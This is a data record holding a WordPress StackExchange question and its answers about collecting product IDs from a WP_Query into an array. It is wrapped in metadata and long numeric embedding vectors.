[ 0.016326904296875, 0.01174163818359375, -0.031402587890625, -0.01227569580078125, 0.0097198486328125, -0.038543701171875, 0.0252227783203125, -0.01328277587890625, 0.017181396484375, 0.016357421875, -0.0188751220703125, 0.002391815185546875, 0.002048492431640625, -0.01520538330078125, -0.0224609375, -0.031494140625, 0.01092529296875, 0.0177154541015625, 0.01084136962890625, -0.0237274169921875, 0.010345458984375, -0.0259552001953125, 0.004390716552734375, -0.0007090568542480469, 0.02728271484375, -0.04998779296875, 0.08575439453125, -0.02838134765625, 0.0203704833984375, -0.0172576904296875, 0.01151275634765625, -0.011962890625, 0.00194549560546875, 0.046295166015625, -0.057220458984375, -0.01458740234375, -0.01629638671875, 0.031890869140625, 0.0014591217041015625, 0.01297760009765625, 0.0257720947265625, -0.014434814453125, -0.050994873046875, -0.01922607421875, -0.034637451171875, -0.0357666015625, 0.05645751953125, 0.0228271484375, 0.025604248046875, 0.024749755859375, 0.030487060546875, 0.042572021484375, 0.0253143310546875, 0.038787841796875, -0.005641937255859375, 0.047393798828125, -0.0506591796875, 0.0191650390625, 0.03619384765625, 0.042633056640625, 0.0113372802734375, -0.03643798828125, 0.01406097412109375, -0.03204345703125, 0.023956298828125, -0.0171051025390625, 0.04608154296875, 0.026458740234375, -0.04547119140625, 0.029876708984375, 0.042999267578125, -0.0193328857421875, 0.0172882080078125, -0.0136566162109375, -0.055816650390625, 0.02362060546875, -0.00809478759765625, 0.00640869140625, 0.03997802734375, -0.05560302734375, -0.0178375244140625, -0.0018415451049804688, -0.04620361328125, -0.0061798095703125, -0.0011720657348632812, 0.0213165283203125, -0.0263214111328125, -0.0165252685546875, 0.04302978515625, -0.0245361328125, 0.0165863037109375, 0.015625, -0.021453857421875, 0.050262451171875, -0.004425048828125, -0.024505615234375, 0.033538818359375, 0.06268310546875, -0.0293121337890625, 0.007511138916015625, -0.036865234375, -0.00473785400390625, -0.0037822723388671875, -0.0267486572265625, 0.0014543533325195312, 0.056884765625, 0.04425048828125, 0.052398681640625, 0.014404296875, -0.0174713134765625, 0.006641387939453125, 0.00611114501953125, -0.04473876953125, -0.0071868896484375, 0.0014448165893554688, 0.039154052734375, -0.06732177734375, 0.017822265625, -0.0274200439453125, 0.0411376953125, -0.01116180419921875, -0.002635955810546875, -0.0096282958984375, 0.0215606689453125, 0.0166168212890625, 0.00453948974609375, -0.0012006759643554688, -0.01531982421875, -0.011322021484375, -0.02252197265625, -0.0300445556640625, 0.0178680419921875, 0.08074951171875, 0.058807373046875, 0.0343017578125, -0.020965576171875, 0.0208892822265625, -0.0235748291015625, -0.017333984375, 0.0482177734375, -0.04345703125, -0.0360107421875, 0.0167999267578125, -0.030670166015625, 0.035736083984375, 0.04058837890625, 0.019134521484375, -0.00958251953125, -0.0006732940673828125, -0.033172607421875, 0.0307159423828125, -0.07427978515625, 0.0007128715515136719, 0.0246734619140625, 0.00689697265625, 0.0275115966796875, 0.0193634033203125, -0.005008697509765625, -0.034820556640625, -0.00475311279296875, -0.02020263671875, -0.00812530517578125, 0.022979736328125, -0.01123809814453125, -0.0219573974609375, 0.0069427490234375, -0.004489898681640625, -0.004138946533203125, 0.028076171875, 0.027374267578125, 0.0018396377563476562, 0.039398193359375, 0.025848388671875, 0.0121307373046875, 0.00966644287109375, -0.01494598388671875, 0.0003981590270996094, 0.045257568359375, 0.02362060546875, -0.02984619140625, -0.027099609375, -0.04058837890625, 0.06390380859375, -0.0219573974609375, -0.06549072265625, 0.024078369140625, 0.01361846923828125, 0.0171356201171875, 0.01342010498046875, -0.00484466552734375, 0.0819091796875, 0.050537109375, -0.0188751220703125, -0.045806884765625, 0.0114288330078125, -0.03839111328125, 0.036895751953125, -0.036376953125, 0.01325225830078125, 0.0477294921875, 0.00949859619140625, -0.0084075927734375, 0.00017249584197998047, -0.0206756591796875, -0.073974609375, 0.005702972412109375, -0.028350830078125, 0.037567138671875, -0.0176849365234375, 0.0224609375, 0.0230865478515625, 0.003875732421875, -0.05322265625, 0.045684814453125, 0.0156707763671875, 0.0007510185241699219, -0.037628173828125, 0.0200653076171875, 0.006351470947265625, 0.0477294921875, 0.036102294921875, -0.0309295654296875, 0.033599853515625, -0.0235595703125, -0.0011644363403320312, -0.049835205078125, -0.0028400421142578125, -0.032257080078125, 0.0110015869140625, -0.045257568359375, 0.054962158203125, 0.06085205078125, 0.0283050537109375, 0.05279541015625, -0.0220794677734375, -0.01079559326171875, -0.01483917236328125, -0.050445556640625, 0.0141754150390625, 0.04241943359375, 0.03179931640625, 0.01306915283203125, -0.0174102783203125, 0.00588226318359375, 0.049407958984375, 0.05078125, 0.05328369140625, -0.0145721435546875, 0.005218505859375, 0.02447509765625, -0.0205841064453125, 0.0193634033203125, 0.0304107666015625, -0.03338623046875, 0.02899169921875, 0.04412841796875, -0.008453369140625, 0.032867431640625, -0.0215301513671875, -0.00818634033203125, -0.0239105224609375, -0.03863525390625, 0.015106201171875, -0.0287017822265625, -0.0343017578125, 0.00893402099609375, -0.0184173583984375, -0.0157318115234375, -0.01045989990234375, 0.01030731201171875, 0.024017333984375, -0.05499267578125, -0.01168060302734375, -0.01367950439453125, 0.052886962890625, -0.0413818359375, -0.06048583984375, 0.0204315185546875, -0.005069732666015625, -0.0207672119140625, 0.0035858154296875, -0.005401611328125, -0.0034160614013671875, -0.00757598876953125, 0.047271728515625, -0.035675048828125, 0.01097869873046875, 0.0034618377685546875, -0.03173828125, -0.040985107421875, -0.0221405029296875, 0.055206298828125, -0.0204620361328125, 0.03759765625, -0.004329681396484375, -0.0170440673828125, -0.0261077880859375, -0.00022470951080322266, 0.010284423828125, -0.047149658203125, 0.01739501953125, 0.03948974609375, -0.00971221923828125, -0.01165008544921875, -0.0057525634765625, 0.029144287109375, 0.0031566619873046875, -0.0267333984375, -0.025909423828125, -0.0293426513671875, 0.00623321533203125, 0.0150604248046875, 0.01131439208984375, 0.0772705078125, -0.028076171875, -0.03912353515625, -0.01438140869140625, 0.04302978515625, -0.01555633544921875, -0.01727294921875, -0.045806884765625, -0.0164947509765625, -0.0080413818359375, 0.034423828125, 0.0022563934326171875, 0.0121002197265625, 0.035797119140625, -0.005336761474609375, 0.0276947021484375, -0.035675048828125, -0.04730224609375, -0.055999755859375, -0.037139892578125, -0.045623779296875, -0.00402069091796875, -0.037994384765625, -0.00377655029296875, 0.01457977294921875, 0.00749969482421875, -0.007404327392578125, 0.0261077880859375, -0.0025997161865234375, 0.0018367767333984375, -0.0083465576171875, -0.048583984375, -0.017608642578125, 0.049224853515625, 0.0004475116729736328, -0.005138397216796875, -0.01837158203125, 0.045318603515625, -0.0217742919921875, 0.0247802734375, -0.0160675048828125, 0.046844482421875, 0.0274810791015625, -0.034912109375, 0.040191650390625, 0.06561279296875, -0.0215301513671875, -0.01953125, 0.007785797119140625, -0.0237579345703125, 0.04827880859375, -0.00860595703125, -0.0157470703125, 0.002590179443359375, 0.0400390625, -0.0218353271484375, -0.004932403564453125, -0.0019893646240234375, -0.006175994873046875, -0.04193115234375, -0.00862884521484375, -0.0076141357421875, 0.037933349609375, -0.00885772705078125, -0.04254150390625, -0.006999969482421875, -0.0261077880859375, -0.036224365234375, -0.010711669921875, 0.0070953369140625, 0.0205078125, -0.07720947265625, 0.056488037109375, -0.041748046875, -0.0294952392578125, -0.048309326171875, -0.0201873779296875, -0.00205230712890625, 0.0858154296875, -0.03265380859375, -0.00844573974609375, 0.0177001953125, 0.0347900390625, -0.084228515625, -0.0200958251953125, -0.0709228515625, 0.0192718505859375, -0.0877685546875, -0.004825592041015625, -0.0028896331787109375, -0.0450439453125, 0.0073699951171875, -0.030029296875, -0.03729248046875, -0.045562744140625, 0.01273345947265625, 0.026885986328125, -0.005062103271484375, -0.0213623046875, 0.0017766952514648438, -0.0243377685546875, 0.031402587890625, -0.02606201171875, -0.048431396484375, -0.0198822021484375, -0.0124664306640625, 0.052703857421875, 0.01032257080078125, -0.01507568359375, -0.006198883056640625, 0.03466796875, 0.0097808837890625, 0.0220489501953125, 0.027313232421875, -0.0264434814453125, 0.038299560546875, 0.0165252685546875, 0.018096923828125, -0.0024852752685546875, 0.0008521080017089844, -0.03546142578125, -0.016571044921875, 0.0280303955078125, -0.0289459228515625, 0.058685302734375, -0.03118896484375, 0.0061187744140625, -0.06927490234375, -0.032562255859375, 0.01313018798828125, 0.0181732177734375, 0.02459716796875, -0.00908660888671875, -0.044677734375, -0.0546875, 0.0007901191711425781, -0.0182952880859375, -0.0029850006103515625, 0.01204681396484375, 0.04559326171875, 0.012939453125, 0.007770538330078125, 0.0085296630859375, 0.0302581787109375, 0.0399169921875, 0.0389404296875, 0.0289459228515625, 0.005771636962890625, -0.01111602783203125, 0.028045654296875, 0.01419830322265625, 0.00803375244140625, 0.028656005859375, 0.0284881591796875, -0.0080108642578125, -0.049530029296875, 0.03564453125, 0.0142669677734375, -0.044586181640625, 0.034332275390625, 0.0245208740234375, -0.00928497314453125, 0.02459716796875, -0.003452301025390625, 0.02490234375, -0.0418701171875, 0.0004553794860839844, -0.0221099853515625, 0.0087432861328125, -0.0174407958984375, -0.0127410888671875, -0.008453369140625, 0.0135498046875, -0.0423583984375, -0.01194000244140625, 0.0011014938354492188, -0.022979736328125, -0.04388427734375, 0.0001609325408935547, 0.011077880859375, -0.005420684814453125, 0.0141754150390625, -0.00926971435546875, -0.0241546630859375, 0.09210205078125, 0.00972747802734375, -0.031402587890625, 0.0015497207641601562, -0.02685546875, 0.043701171875, 0.0280914306640625, 0.043670654296875, -0.013519287109375, -0.022674560546875, -0.009033203125, -0.004116058349609375, 0.054412841796875, -0.01047515869140625, -0.00760650634765625, 0.009002685546875, 0.0283203125, -0.0141754150390625, 0.035736083984375, 0.042144775390625, 0.0323486328125, 0.0364990234375, -0.0440673828125, 0.023345947265625, 0.040771484375, 0.00734710693359375, 0.01282501220703125, 0.006870269775390625, -0.03094482421875, -0.00339508056640625, 0.0038852691650390625, -0.0233154296875, -0.0100860595703125, 0.0167236328125, 0.01320648193359375, 0.07171630859375, 0.049530029296875, -0.033966064453125, -0.0026645660400390625, 0.005664825439453125, 0.032318115234375, -0.05560302734375, -0.06134033203125, -0.036773681640625, 0.0028324127197265625, 0.048553466796875, -0.057861328125, 0.007904052734375, -0.038360595703125, -0.020172119140625, -0.033416748046875, 0.026611328125, -0.05377197265625, -0.0222625732421875, -0.018096923828125, -0.048614501953125, -0.0163116455078125, -0.0206146240234375, -0.0280914306640625, -0.00928497314453125, -0.00014603137969970703, -0.00173187255859375, 0.02239990234375, -0.034393310546875, 0.021942138671875, -0.03887939453125, 0.0225982666015625, -0.053466796875, 0.01313018798828125, 0.05572509765625, 0.04852294921875, -0.09332275390625, 0.004352569580078125, -0.0219879150390625, 0.004913330078125, 0.012237548828125, -0.01081085205078125, -0.0482177734375, -0.0208892822265625, 0.00528717041015625, 0.01511383056640625, -0.0233917236328125, -0.040985107421875, -0.0280303955078125, 0.00547027587890625, 0.021728515625, 0.0014667510986328125, -0.0003495216369628906, 0.021148681640625, -0.021820068359375, 0.0198974609375, -0.0008111000061035156, 0.008514404296875, 0.0096435546875, -0.02557373046875, -0.0027713775634765625, -0.014984130859375, -0.034027099609375, -0.003543853759765625, -0.026214599609375, 0.00514984130859375, 0.03948974609375, -0.0213470458984375, 0.0013895034790039062, 0.0157012939453125, 0.0126800537109375, -0.021484375, -0.037017822265625, 0.0037937164306640625, -0.01506805419921875, -0.017059326171875, -0.01983642578125, -0.03692626953125, -0.0016069412231445312, -0.001979827880859375, 0.013946533203125, 0.0013599395751953125, -0.0078582763671875, 0.00043463706970214844, -0.0465087890625, 0.0195159912109375, 0.0120086669921875, -0.00872039794921875, 0.01271820068359375, -0.0192108154296875, 0.011444091796875, 0.02825927734375, -0.005924224853515625, -0.0103912353515625, -0.01453399658203125, 0.07647705078125, 0.01261138916015625, -0.0305938720703125, 0.0626220703125, -0.037322998046875, 0.02386474609375, 0.049041748046875, 0.048095703125, -0.087646484375, 0.0182037353515625, -0.0311431884765625, -0.0228118896484375, 0.049407958984375, 0.01605224609375, -0.0014982223510742188, 0.0015926361083984375, -0.01194000244140625, -0.0221710205078125, -0.027587890625, 0.0023937225341796875, 0.0051422119140625, -0.00447845458984375, -0.018310546875, 0.022705078125, 0.0112457275390625, 0.032684326171875, -0.0443115234375, -0.0084991455078125, -0.021240234375, -0.01898193359375, -0.0105743408203125, 0.0305023193359375, -0.0654296875, -0.10723876953125, -0.040252685546875, 0.005889892578125, -0.038055419921875, 0.046234130859375, 0.01419830322265625, 0.061370849609375, 0.0266571044921875, 0.0216827392578125, -0.00878143310546875, -0.01727294921875, 0.007244110107421875, 0.03045654296875, -0.021453857421875, -0.03204345703125, 0.005794525146484375, -0.02685546875, 0.0012769699096679688, -0.0164947509765625, 0.005855560302734375, -0.021331787109375, -0.026885986328125, 0.06353759765625, 0.0208892822265625, -0.033660888671875, 0.0245361328125, 0.0259552001953125, -0.0280303955078125, -0.004123687744140625, 0.00730133056640625, -0.0260162353515625, -0.021392822265625, -0.0081939697265625, -0.08331298828125, -0.012359619140625, -0.03778076171875, -0.08251953125, 0.04669189453125, -0.0309295654296875, 0.0701904296875, 0.0147247314453125, -0.014434814453125, 0.00994110107421875, -0.0309906005859375, -0.0248260498046875, 0.03631591796875, 0.010467529296875, 0.0399169921875, 0.00980377197265625, 0.0118408203125, 0.0252532958984375, -0.0111083984375, -0.00881195068359375, 0.007358551025390625, -0.0009698867797851562, -0.0228118896484375, -0.01319122314453125, 0.03924560546875, 0.00047516822814941406, -0.0054168701171875, 0.00008022785186767578, 0.06072998046875, 0.04736328125, -0.03289794921875, 0.0225830078125, 0.003551483154296875, -0.02947998046875, 0.03375244140625, 0.00439453125, -0.005664825439453125, -0.0128021240234375, 0.033203125, -0.07647705078125, -0.006160736083984375, 0.05462646484375, 0.0039520263671875, -0.006412506103515625, 0.03668212890625, 0.038055419921875, -0.05364990234375, -0.045989990234375, -0.024871826171875, 0.03887939453125, 0.0220489501953125, -0.00405120849609375, 0.059906005859375, 0.01490020751953125, -0.004329681396484375, 0.0338134765625, 0.01192474365234375, 0.002391815185546875, 0.0144805908203125, 0.00557708740234375, 0.039306640625, 0.007415771484375, -0.03643798828125, 0.0015497207641601562, 0.093017578125, 0.04534912109375, -0.0428466796875, -0.027740478515625, 0.0171051025390625, 0.0400390625, 0.006473541259765625, 0.0261077880859375, 0.032562255859375, -0.1063232421875, -0.01409912109375, -0.015869140625, 0.0227508544921875, 0.0118408203125, -0.00659942626953125, -0.0000864267349243164, 0.04193115234375, -0.034759521484375, 0.040130615234375, -0.047943115234375, 0.035369873046875, 0.00811767578125, 0.021026611328125, 0.01534271240234375, 0.04083251953125, 0.0246124267578125, -0.004848480224609375, -0.032684326171875, 0.00494384765625, 0.028350830078125, 0.01435089111328125, -0.019439697265625, 0.0203857421875, 0.03851318359375, 0.0236358642578125, 0.001705169677734375, 0.0006685256958007812, 0.0263214111328125, 0.03228759765625, 0.0020084381103515625, -0.0261688232421875, -0.0036716461181640625, -0.02825927734375, 0.0240631103515625, -0.0237884521484375, 0.0150146484375, -0.01000213623046875, -0.00916290283203125, -0.03857421875, 0.02557373046875, 0.015716552734375, -0.0234222412109375, 0.0306549072265625, -0.0089874267578125, -0.05487060546875, 0.0272369384765625, -0.0301055908203125, 0.09283447265625, 0.00342559814453125, -0.046142578125, -0.0153656005859375, -0.024444580078125, -0.022552490234375, 0.017120361328125, 0.032012939453125, 0.004425048828125, 0.0197601318359375, 0.0234527587890625, -0.036834716796875, 0.02606201171875, 0.002895355224609375, 0.016326904296875, 0.004718780517578125, -0.01200103759765625, -0.01412200927734375, -0.040618896484375, -0.006977081298828125, -0.0282135009765625, 0.005603790283203125, -0.004817962646484375, 0.049652099609375, 0.0004355907440185547, 0.01419830322265625, -0.07086181640625, -0.00026345252990722656, -0.041595458984375, -0.0733642578125, 0.0655517578125, 0.00432586669921875, -0.04388427734375, 0.0131378173828125, -0.06268310546875, -0.0078582763671875, 0.0141448974609375, -0.006916046142578125, 0.02313232421875, -0.0399169921875, 0.016510009765625, -0.028533935546875, -0.0086822509765625, -0.0107269287109375, -0.0633544921875, 0.01477813720703125, 0.07330322265625, -0.0231170654296875, 0.007434844970703125, -0.03546142578125, 0.0135345458984375, 0.00638580322265625, -0.048858642578125, 0.03253173828125, -0.03570556640625, 0.03131103515625, 0.02252197265625, 0.034332275390625, 0.006450653076171875, -0.0792236328125, -0.03851318359375, -0.00579071044921875, -0.0221710205078125, -0.0472412109375, -0.040069580078125, -0.044647216796875, 0.03851318359375, 0.02911376953125, 0.04351806640625, -0.01302337646484375, -0.0004642009735107422, 0.048095703125, -0.01354217529296875, 0.0037593841552734375, -0.0626220703125, -0.0294952392578125, -0.034820556640625, 0.0013723373413085938, 0.04254150390625, -0.0175323486328125, -0.055999755859375, -0.0780029296875, -0.0166778564453125, 0.0106964111328125, 0.00327301025390625, -0.0238037109375, -0.0020961761474609375, -0.00788116455078125, 0.006622314453125, -0.017486572265625, -0.048553466796875, 0.00981903076171875, 0.0296630859375, 0.0097808837890625, -0.002803802490234375, -0.02825927734375, 0.00518798828125, 0.00666046142578125, -0.02716064453125, -0.0034656524658203125, 0.0206756591796875, -0.004734039306640625, -0.022705078125, -0.0394287109375, 0.00957489013671875, -0.005794525146484375, -0.0244903564453125, -0.01371002197265625, 0.026580810546875, 0.0109710693359375, -0.06317138671875, -0.0173492431640625, -0.034912109375, 0.01331329345703125, -0.00826263427734375, -0.00020420551300048828, 0.020416259765625, -0.0267333984375, -0.048980712890625, 0.031890869140625, 0.00672149658203125, -0.03973388671875, 0.0274810791015625, -0.025390625, -0.0291290283203125, 0.042449951171875, 0.022491455078125, -0.03448486328125, -0.01073455810546875, 0.035247802734375, 0.000698089599609375, -0.0299072265625, 0.034881591796875, -0.01220703125, 0.00319671630859375, 0.028411865234375, 0.051910400390625, -0.0364990234375, -0.0033416748046875, 0.0226287841796875, -0.0001112818717956543, 0.047210693359375, -0.01434326171875, 0.01264190673828125, -0.0196380615234375, -0.03326416015625, -0.0223388671875, -0.048004150390625, -0.0194244384765625, 0.002689361572265625, 0.0560302734375, 0.052703857421875, 0.008453369140625, -0.048553466796875, -0.0562744140625, -0.07257080078125, 0.01421356201171875, -0.01320648193359375, 0.0179595947265625, -0.08251953125, 0.0059967041015625, 0.030853271484375, -0.031707763671875, 0.02001953125, 0.00013566017150878906, -0.035919189453125, 0.01441192626953125, 0.031494140625, 0.00687408447265625, -0.0416259765625, 0.0184783935546875, 0.013275146484375, -0.038970947265625, -0.07147216796875, -0.01244354248046875, -0.00128173828125, -0.043609619140625, -0.06365966796875, -0.002628326416015625, 0.0004150867462158203, -0.035919189453125, 0.011627197265625, 0.0029697418212890625, 0.0306549072265625, -0.036590576171875, -0.0225677490234375, -0.0161895751953125, 0.0091094970703125, -0.00567626953125, -0.0026111602783203125, 0.00110626220703125, 0.0200958251953125, 0.01331329345703125, 0.0280303955078125, -0.052398681640625, -0.0081787109375, -0.0309906005859375, -0.00392913818359375, 0.034149169921875, 0.005706787109375, 0.09661865234375, -0.0156402587890625, 0.00264739990234375, -0.0087127685546875, -0.01163482666015625, -0.0147552490234375, 0.004791259765625, 0.0023040771484375, -0.0211639404296875, -0.0014295578002929688 ]
453ee39d998adeb96e69eeb36a70ee3d97516a50
Wordpress Stackexchange Q: Getting an array out of WPQuery I have a query like this i will get the id's for product. This works fine: function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' ); // query $the_query = new WP_Query( $args ); if( $the_query->have_posts() ): while( $the_query->have_posts() ) : $the_query->the_post(); global $product; return $product->get_id(); endwhile; endif; wp_reset_query(); } But now i want to use the output from the above query in the below function tester2(){ $targetted_products = array(/* the ids from above function- ids()*/); } I am only getting one id if i use $targetted_products =array(ids()); A: If you only want IDs, the query will consume much less memory if you use the fields parameter to just get that one field back in an array: function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' 'fields' => 'ids' ); $the_query = new WP_Query( $args ); if( $the_query->have_posts() ){ return $the_query->posts; } return false; }
Q: Getting an array out of WPQuery I have a query like this i will get the id's for product. This works fine: function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' ); // query $the_query = new WP_Query( $args ); if( $the_query->have_posts() ): while( $the_query->have_posts() ) : $the_query->the_post(); global $product; return $product->get_id(); endwhile; endif; wp_reset_query(); } But now i want to use the output from the above query in the below function tester2(){ $targetted_products = array(/* the ids from above function- ids()*/); } I am only getting one id if i use $targetted_products =array(ids()); A: If you only want IDs, the query will consume much less memory if you use the fields parameter to just get that one field back in an array: function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' 'fields' => 'ids' ); $the_query = new WP_Query( $args ); if( $the_query->have_posts() ){ return $the_query->posts; } return false; } A: function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' ); // query $the_query = new WP_Query( $args ); $post_ids = []; if( $the_query->have_posts() ): $post_ids = wp_list_pluck( $the_query->posts, 'ID' ); endif; wp_reset_query(); return $post_ids; } read more https://codex.wordpress.org/Function_Reference/wp_list_pluck A: Your function returns $product->get_id();, instead of that, you should save those values into an array and at the end return that array. function ids(){ $args = array( 'numberposts' => -1, 'post_type' => 'product', 'meta_key' => 'wppl_is_dax', 'meta_value' => '1' ); // query $the_query = new WP_Query( $args ); $allIds = array(); if( $the_query->have_posts() ): while( $the_query->have_posts() ) : $the_query->the_post(); global $product; array_push($allIds,$product->get_id()); endwhile; endif; wp_reset_query(); return $allIds; }
wordpress
{ "language": "en", "length": 284, "provenance": "stackexchange_00019.jsonl.gz:488569", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/311341" }
[ 0.0164031982421875, -0.0106201171875, -0.033477783203125, -0.0200958251953125, 0.021209716796875, -0.03985595703125, 0.03240966796875, 0.0067901611328125, -0.021728515625, 0.007007598876953125, -0.036956787109375, -0.015899658203125, -0.0478515625, -0.031402587890625, 0.00830078125, -0.06390380859375, 0.0233306884765625, -0.02716064453125, -0.007965087890625, -0.019378662109375, 0.0233154296875, 0.003963470458984375, -0.01947021484375, 0.0687255859375, 0.031646728515625, -0.04052734375, 0.019561767578125, -0.01351165771484375, 0.01702880859375, -0.0229644775390625, 0.01500701904296875, 0.0169677734375, 0.00380706787109375, -0.0273284912109375, 0.04339599609375, -0.00994873046875, 0.0460205078125, -0.0276031494140625, 0.034576416015625, 0.00024700164794921875, 0.0193328857421875, -0.00603485107421875, -0.037109375, -0.005916595458984375, -0.036346435546875, -0.02880859375, 0.0309295654296875, -0.004100799560546875, 0.022003173828125, 0.0196380615234375, -0.0268096923828125, 0.0113372802734375, -0.030242919921875, 0.01165771484375, 0.01078033447265625, 0.003993988037109375, -0.016448974609375, -0.03338623046875, 0.04315185546875, 0.01100921630859375, -0.01544952392578125, -0.046234130859375, 0.03173828125, -0.032379150390625, -0.0086517333984375, 0.0306396484375, 0.0389404296875, 0.0189971923828125, -0.00894927978515625, -0.024444580078125, -0.0005712509155273438, -0.01143646240234375, 0.0011110305786132812, 0.0017299652099609375, -0.007537841796875, -0.06622314453125, 0.0291748046875, -0.04168701171875, -0.0196380615234375, 0.038909912109375, -0.006740570068359375, -0.03875732421875, -0.04815673828125, 0.0117645263671875, 0.00579071044921875, 0.046905517578125, -0.00691986083984375, -0.00997161865234375, -0.00321197509765625, -0.0208587646484375, -0.00524139404296875, -0.0121612548828125, -0.0193328857421875, 0.000530242919921875, -0.0068359375, -0.04205322265625, -0.00817108154296875, -0.004405975341796875, -0.0200958251953125, 0.0035305023193359375, -0.0082855224609375, -0.03338623046875, -0.0221099853515625, -0.0035877227783203125, 0.00510406494140625, 0.040008544921875, 0.002223968505859375, 0.0189361572265625, 0.0416259765625, 0.032684326171875, 0.00504302978515625, -0.0086669921875, -0.01165008544921875, -0.027801513671875, -0.01065826416015625, 0.0233612060546875, -0.030487060546875, -0.00707244873046875, 0.009185791015625, -0.02734375, -0.0257110595703125, -0.01473236083984375, 0.01447296142578125, -0.006984710693359375, 0.0277252197265625, -0.005290985107421875, -0.0060882568359375, 0.0004189014434814453, 0.0037174224853515625, 0.009674072265625, -0.027557373046875, -0.0022258758544921875, 0.06396484375, 0.036041259765625, 0.00362396240234375, -0.00897979736328125, 0.054107666015625, -0.0092926025390625, 0.03875732421875, -0.014923095703125, 0.00905609130859375, -0.028839111328125, -0.005352020263671875, 0.020721435546875, 0.009918212890625, -0.009613037109375, 0.01009368896484375, 0.01491546630859375, 0.013763427734375, -0.0161895751953125, -0.00713348388671875, 0.0186004638671875, 0.0195159912109375, 0.0303802490234375, -0.031494140625, 0.0261383056640625, 0.025146484375, -0.0167388916015625, -0.034149169921875, -0.04345703125, 0.006099700927734375, 0.01554107666015625, 0.007633209228515625, -0.0221710205078125, -0.033477783203125, -0.01226043701171875, -0.03271484375, -0.0039520263671875, 0.0279541015625, 0.08526611328125, -0.0102386474609375, -0.007656097412109375, 0.053253173828125, 0.040435791015625, -0.01192474365234375, 0.01372528076171875, -0.011932373046875, 0.028961181640625, 0.0095367431640625, -0.0305023193359375, -0.047515869140625, -0.06085205078125, 0.017791748046875, -0.0229034423828125, -0.04766845703125, 0.0775146484375, 0.0186920166015625, 0.06402587890625, -0.0076446533203125, 0.0034160614013671875, 0.048370361328125, 0.032958984375, -0.060211181640625, 0.0299835205078125, 0.0022983551025390625, -0.016876220703125, -0.00870513916015625, -0.003475189208984375, 0.0019817352294921875, -0.01053619384765625, 0.018951416015625, 0.004878997802734375, -0.0240020751953125, 0.0399169921875, -0.10107421875, 0.056427001953125, -0.0298614501953125, 0.035736083984375, -0.033599853515625, 0.037628173828125, 0.0305633544921875, -0.004085540771484375, -0.033721923828125, 0.032684326171875, -0.005523681640625, -0.040771484375, -0.0389404296875, -0.0106658935546875, -0.023773193359375, -0.021331787109375, -0.032867431640625, -0.022857666015625, -0.02288818359375, 0.027313232421875, 0.07012939453125, -0.01107025146484375, -0.006439208984375, -0.0183258056640625, 0.09808349609375, -0.01154327392578125, 0.0304107666015625, 0.0304107666015625, 0.052398681640625, 0.057342529296875, -0.0013723373413085938, 0.01323699951171875, 0.0201873779296875, -0.060791015625, -0.0063629150390625, 0.02813720703125, 0.0225982666015625, 0.0302734375, 0.00795745849609375, 0.007656097412109375, 0.076416015625, 0.0281219482421875, 0.027862548828125, -0.03179931640625, 0.00656890869140625, 0.0227508544921875, 0.01027679443359375, 0.002105712890625, 0.03375244140625, 0.00904083251953125, 0.0211944580078125, 0.0101318359375, -0.04632568359375, 0.007663726806640625, -0.0301666259765625, -0.0197906494140625, -0.01226043701171875, -0.05633544921875, -0.007442474365234375, -0.034088134765625, 0.047760009765625, 0.0262908935546875, 0.0516357421875, 0.03985595703125, -0.0233306884765625, 0.0153350830078125, 0.007648468017578125, -0.0013151168823242188, -0.0132293701171875, -0.026092529296875, -0.01268768310546875, -0.039886474609375, -0.0200958251953125, 0.02899169921875, 0.011749267578125, -0.04913330078125, 0.001781463623046875, 0.07330322265625, -0.03656005859375, -0.02288818359375, -0.066650390625, -0.010955810546875, -0.01445770263671875, 0.03387451171875, 0.007015228271484375, 0.01666259765625, 0.01540374755859375, 0.045318603515625, -0.004276275634765625, 0.0263214111328125, 0.0195770263671875, 0.00725555419921875, 0.04412841796875, -0.04473876953125, 0.047119140625, -0.040802001953125, 0.02471923828125, 0.0574951171875, -0.0268402099609375, 0.0094757080078125, -0.007373809814453125, -0.01262664794921875, 0.0269775390625, 0.002857208251953125, -0.0124053955078125, -0.01824951171875, -0.051727294921875, -0.00452423095703125, 0.0330810546875, 0.0972900390625, -0.023834228515625, -0.061065673828125, 0.0015468597412109375, 0.031463623046875, -0.133056640625, -0.161865234375, 0.06341552734375, -0.04644775390625, -0.056640625, -0.029327392578125, -0.051544189453125, 0.004863739013671875, -0.0201873779296875, -0.01739501953125, -0.005001068115234375, 0.00433349609375, -0.057861328125, -0.0364990234375, -0.06298828125, 0.00420379638671875, -0.017242431640625, 0.02130126953125, 0.01250457763671875, 0.0170745849609375, 0.0154876708984375, -0.00921630859375, 0.04278564453125, 0.09796142578125, -0.0043182373046875, -0.01050567626953125, 0.0018863677978515625, -0.01605224609375, -0.046295166015625, 0.0005040168762207031, 0.01251220703125, -0.0006771087646484375, 0.0004413127899169922, -0.0013074874877929688, 0.01232147216796875, 0.060211181640625, 0.051727294921875, 0.017181396484375, -0.0151519775390625, 0.0860595703125, 0.06524658203125, 0.01184844970703125, -0.0155181884765625, -0.025787353515625, -0.02069091796875, 0.045745849609375, 0.036102294921875, -0.0173492431640625, -0.002899169921875, 0.017791748046875, 0.045684814453125, 0.005809783935546875, -0.01358795166015625, -0.0108795166015625, 0.035308837890625, 0.0252532958984375, 0.06396484375, -0.009918212890625, -0.0103759765625, -0.0355224609375, -0.0009698867797851562, -0.0222930908203125, -0.00843048095703125, 0.0029964447021484375, -0.038116455078125, -0.0269622802734375, 0.02081298828125, 0.0467529296875, 0.0174560546875, 0.0102996826171875, -0.0097503662109375, -0.035980224609375, -0.0170440673828125, 0.048919677734375, -0.01029205322265625, -0.01861572265625, -0.028778076171875, 0.010650634765625, -0.06304931640625, -0.04962158203125, -0.037841796875, 0.0236663818359375, -0.0012187957763671875, -0.01291656494140625, -0.0231475830078125, -0.0222625732421875, -0.0001819133758544922, 0.01126861572265625, 0.0035991668701171875, -0.01375579833984375, 0.029937744140625, -0.0220947265625, 0.003406524658203125, 0.01476287841796875, -0.00649261474609375, 